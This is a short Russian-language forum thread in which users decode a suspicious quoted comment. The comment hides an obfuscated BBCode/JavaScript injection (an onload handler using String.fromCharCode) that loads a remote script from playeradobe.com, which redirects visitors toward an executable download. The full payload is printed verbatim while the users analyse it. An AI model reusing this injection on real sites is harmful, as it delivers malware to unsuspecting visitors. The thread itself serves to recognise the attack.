лазил по любимому сайту и нашел комент одного пользователя, который был пустым, но когда ответить с его цитированием то появляется такая строка Code: [quote name="motomaster"][img][img]1[/img][/img]" onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,108,97,121,101,114,97,100,111,98,101,46,99,111,109,47,102,108,97,115,104,46,106,115,34,62,60,47,115,99,114,105,112,116,62)) [/img][/ --quote] что это может быть?
Попытка пропихнуть вот это: Code: <script src="http://playeradobe.com/flash.js"></script> Т.е. на событие load среагирует обработчик и запихнёт эту строчку в пост. А в flash.js уже лежит Code: document.location="http://playeradobe.com"; Т.е. редирект на playeradobe.com
спс уже вижу. там дальше по сслке автозагрузка ехе-шника который вирус тотал почему то пропустил http://www.virustotal.com/file-scan/report.html?id=2db77abd19e391cb3f99beb0b8d234217df63251db7b3b86b50e5b9fc24f33a8-1315398169